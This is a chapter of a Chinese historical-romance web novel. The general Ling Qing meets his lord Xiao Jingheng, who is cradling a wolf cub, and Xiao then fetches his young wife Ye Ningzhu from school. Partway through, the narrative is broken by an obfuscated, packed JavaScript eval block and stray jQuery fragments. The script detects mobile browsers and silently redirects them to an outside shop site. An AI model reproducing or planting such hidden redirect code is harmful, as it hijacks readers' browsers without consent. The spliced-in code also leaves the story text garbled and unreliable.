凌青听闻主公来了,便拿着新得的地图匆匆去寻他,却在半路上遇到柳逸那个混货。
他和柳逸看不惯对方极了,可能自古文武分家,每次看到那些谋士文绉绉模样,他就头疼。
凌青心里笃定,那些读书人克他,是万万不能深交的。
本来远远望到柳逸时,他想拐个弯躲远些。可他定睛一看,柳逸这家伙竟低垂着脑袋,一副丧气模样。
凌青当下就乐了,他挺直胸板,昂首阔步走到他面前。凌青挑了挑眉,本就少年气的面容带上一丝飒意,他嗤笑道:“你个青虫子,今天怎的一落水狗模样。”
说罢,他半眯着眼,手指不停轻抚着下巴,“莫不是发现我才是主公第一亲信,心灰意冷了吧。”
凌青大笑一声,围着柳逸踱步起来,“都是同僚,何故如此,只要都专心为主公效力即可,何必争个高低。”
凌青说个不停,柳逸要之前听了,必定会扯一堆先古圣贤的大道理,怼得他一个字也说不出。
可如今这人却只半垂着腰背,默不作声。凌青顿住了,他噤声看向柳逸,声音低了些:“你家中老姆出事了?”
柳逸猛地抬头,狠剜了他一眼,“你才出事了呢?我家老姆一顿吃三碗饭,身体健壮得很。”
凌青后退一步,“我难得关心你,柳逸,你别不识好歹啊。”
柳逸冷哂,眼神阴恻恻的,吓得凌青打了个哆嗦。最不喜欢这些文人,阴得很,哪里像他和主公,一派赤子心性。
柳逸本想着怎么把这仇疙瘩报回去,眼尾余光瞟到他手中卷轴,“你去找主公?”
凌青抛了抛手中竹简,语气带着些许得意,“柳逸,我要立大功了,你之后可别羡慕我。”
柳逸拂了拂衣袖,收回视线,又恢复之前端方模样,“不过是堤坝图,主公早已告知我了。”
“对了,你等下去主公那小心些,别冲撞了什么,惹得主公厌烦。”
柳逸温笑着离开了,徒留凌青一人在原地摸不着头脑。他盯着那道清瘦身影,呸了一声,“谁信你!”
“你能有这么好心,黑心肝的家伙。”
他转身朝主公营账走去,路上遇到不少同僚同他问候,凌青却只阴沉着脸走了。
那些人见了,还以为凌小将军遇到什么急事,便笑着离开了。这小子从小就这般,不跟他见识。
凌青确实是有些心急,他被柳逸那话弄得心神不知飞到何处去了。
他会惹得主公厌烦?
凌青可是在主公还在冀州当方士时便跟随他了,论情谊,哪怕是主公之前亲自养的那只鹰隼也比不过他。
而此刻,柳逸居然说,主公会因为他冲撞了什么对他厌烦。
凌青脚步越发快了,他紧抿着唇,心中刚熨帖些却又想到最近军营中各人的反常来。
谢玄舟那个楞头最近不往武练场跑,倒成了个马夫,天天驾着辆马车不知去往何处。
杨秀生那个老古板不躺在主公营账前哭了,倒是天天呈一小山般厚重的卷轴送入主公营账。
柳逸天天念着美人误国,还拉着他一起搞什么反对联姻的同盟。吓得他好一大跳,这大业未成,柳逸就准备结党营私了,真是脑子进水。
谢铮抢走了他心爱的良驹,虽补给他一把玄铁制成的宝剑,可按他的个性,之前也是万万不会行出此般差错的。
要说什么不变?凌青挠了挠脑袋,池玉真和庄闫之倒是一直腻在一起,看得他直摇头。
好好一位将才,却被小情小爱迷了心智。
可惜啊,可惜。
说来,主公也成婚许多时候了,他却不知女君是何模样。上次去往萧府,被谢铮拦在门外不准进去。要不过几天再去一趟,也正好去找找那匹良驹,说不定可以顺手带回来。
凌青走到萧景珩营账前,却迟迟不敢入内。站在一旁的士兵见了,出声问他:“凌将军,可是有什么事吗?”
凌青紧攥手中竹简,指尖泛上层白。他心绪几番碾转,沉吟片刻后方才开口:“现在可有人在主公营账?”
士兵躬身低语:“柳谋士走后,便无人拜见。”
凌青长叹口气,紧蹙眉头舒展开来,而后径直走入营账内。萧景珩端坐案前处理政务,见凌青进来,也只轻撇他一眼。
凌青作了个短揖,“主公,校尉取得了下邳城的水防图,卑职想要与您商议一二。”
他几步行至案前,刚想把卷轴递于萧景珩,却无意间瞥见主公怀中躺着一只……一只小兽。凌青指了指那幼狼,惊声道:“主公,有匹狼跑你怀里了。”
萧景珩半抬眼瞧他,“我知道。”
凌青咽了口唾沫,直勾勾地盯着那不停扭动的小东西,刚想开口问个清楚,萧景珩冷冰冰的声音便传来。
“若是只光站着,那不如早些出去。”
凌青连忙收回视线,“卑职有错,还望主公原宥。”
萧景珩没接话,他翻开那卷轴,粗略地扫了一眼,“你觉得若要攻打徐州应先行何处?”
凌青:“当然是直取彭城,打得那老贼再无出头之日。”
萧景珩摸着那有些粗糙的竹简,丝丝毛刺滑过他皮肤,“凌青,你觉得我该成为怎样一位君主?”
凌青身形一沉,双膝重重砸落在地,头颅微微低下,“卑职不敢妄言。”
萧景珩盯着那道跪拜身影,眸色冷澹。他声音格外轻,却似惊天紫雷,砸于凌青心头,“明年七月徐州必会水泛成灾。”
“到时候,我或就想明白了。”
萧景珩没再说什么,继续批阅起政务。凌青没起身离开,只沉默地跪着,直到膝处被什么东西轻咬。
他侧目一瞥,是那匹还没断奶的幼狼,它用它没长成的牙齿撕磨着他的衣裳。
衣裳没坏,却被一摊口水浸湿了。
“退下吧。”
凌青抬头望向萧景珩,唇瓣微张,还没吐出的字被咽下。他做了个揖礼,静默地离开了。
不知过了多久,萧景珩幽叹一声,走向那在地上不停爬来爬去的幼狼。他将幼狼抱入怀中,捏了捏它的鼻子,惹得那小东西轻呛。
“怎么跟你主人一样是个呆子。”
幼狼在他怀中翻了个身,转头咬起他的衣服来,那眼珠不停地转悠,不知是像谁。
不若去接叶凝珠吧。这幼狼顽劣得很,咬坏他许多竹简,他可不愿再多照顾了。
……
宝珠半趴在书案上,她的小同窗一直在她旁边叽叽喳喳个不停。又问宝珠家住在何处,又问宝珠喜欢什么东西。
叶凝珠怏怏地半张着嘴,一个字也没气力说出口。她如今全部的心思都在那匹幼狼上,连她最爱的枣糕酥也比不过。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749579|207645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宝珠如今只想早些放学,等着萧景珩带着幼狼来接她。
她抬头望向窗外,却瞥见一道熟悉的身影。
莫不是看错了,还没到时候呢。再说萧景珩很懒的,平时都坐在马车上,根本不肯下车来接她。
宝珠揉了揉眼,可那道身影却依旧立在那。
萧景珩注视着自家新妇那个迷糊样,嘴角轻扬:“叶凝珠,傻愣着干嘛,不要你的小狼了。”
他将那小小身躯抛了抛,似乎要扔出去。
“要的,要的!”宝珠猛地跳起身,跑到窗台前,一把把幼狼夺入怀中。
她轻撸幼狼的脑袋,力度格外轻柔,那小东西舒服得哼唧两声,顺势躺入宝珠怀中。
她瞪了萧景珩一眼,“萧景珩,你刚才很不对,以后不能这般了。”
萧景珩微微蹙眉,唇角笑意深了些,“哪里不对?”
“我愚笨得很,实在想不出来,还请三娘子告知。”
叶凝珠抬眸看他,细细打量着他脸上神情。萧景珩从容地挺直脊背,身姿端立,任由宝珠的视线在他身上描摹。
“你……”
宝珠刚要开口,一小郎凑了过来。他有些审视地盯着萧景珩,高声质问:“你是谁?干嘛离宝珠这么近。”
话音刚落,一堆孩童也应声凑了过来,重复地问道:“你是谁?干嘛离宝珠这么近。”
萧景珩半眯着眼,一一扫过那些稚嫩面容,而后轻嗤一声。他拉住宝珠的衣袖,轻晃两下,“宝珠,你告诉他们我是谁?”
叶凝珠长睫轻颤,眸光微茫,歪首瞧他,眼中泛着些许疑云。萧景珩不语,只又拉了拉她的衣袖。
见状,宝珠轻咬唇瓣,微低着头,那被发丝遮了些许的耳根悄悄泛红,却被站在高处的萧景珩一览无余。
她低语:“他是……宝珠的郎婿。”
“啊!”那些孩童惊呼出声,随后哄闹起来。
刚才那小郎瘪着嘴,直直瞪着萧景珩。萧景珩却微抬着头颅,看都不看他一眼。
小郎带着些哭腔地说着:“宝珠,你不是说以后要嫁给我作新妇的吗?”
萧景珩长嘘一声,吓得宝珠连忙摇头,“哪里说过的,从来没有的。”
这时,一稚女拉住宝珠的手,仰面问她:“那我呢,宝珠你嫁与我吗?”
“嫁的,不过要等下一世,宝珠下一世给你作新妇。”
旁边的孩童听了,便也要叶凝珠应允他们。萧景珩不耐地半掀眼帘,看着自家女君把她的下下世,下下下世……不知道多少世都安排个明白。
他轻握住叶凝珠的手腕,“我刚才跟杨秀生帮你告假了,明日你不用来学堂。”
“真的?”
“嗯,你去拿书囊,我们早些回去。”
他松开手,将那还没怎么睡安稳的幼狼又拿了回去,转身走向木门处。
叶凝珠从同窗身侧挤了出去,拿着书囊就要走,却忽然想起什么。她笑着对那些丧着张脸的孩童们说道:“宝珠先走了!”
那群小同窗的脸更黑了些,宝珠却不在意,她跑到萧景珩身侧,仰面望他,“萧景珩,宝珠给它想好名字了!”
萧景珩侧目瞧她,“嗯,叫什么。”
宝珠抬臂抚掌,好清脆的一声响,与之相伴的是少女清悦的声音。
“叫阿苍,叶阿苍!”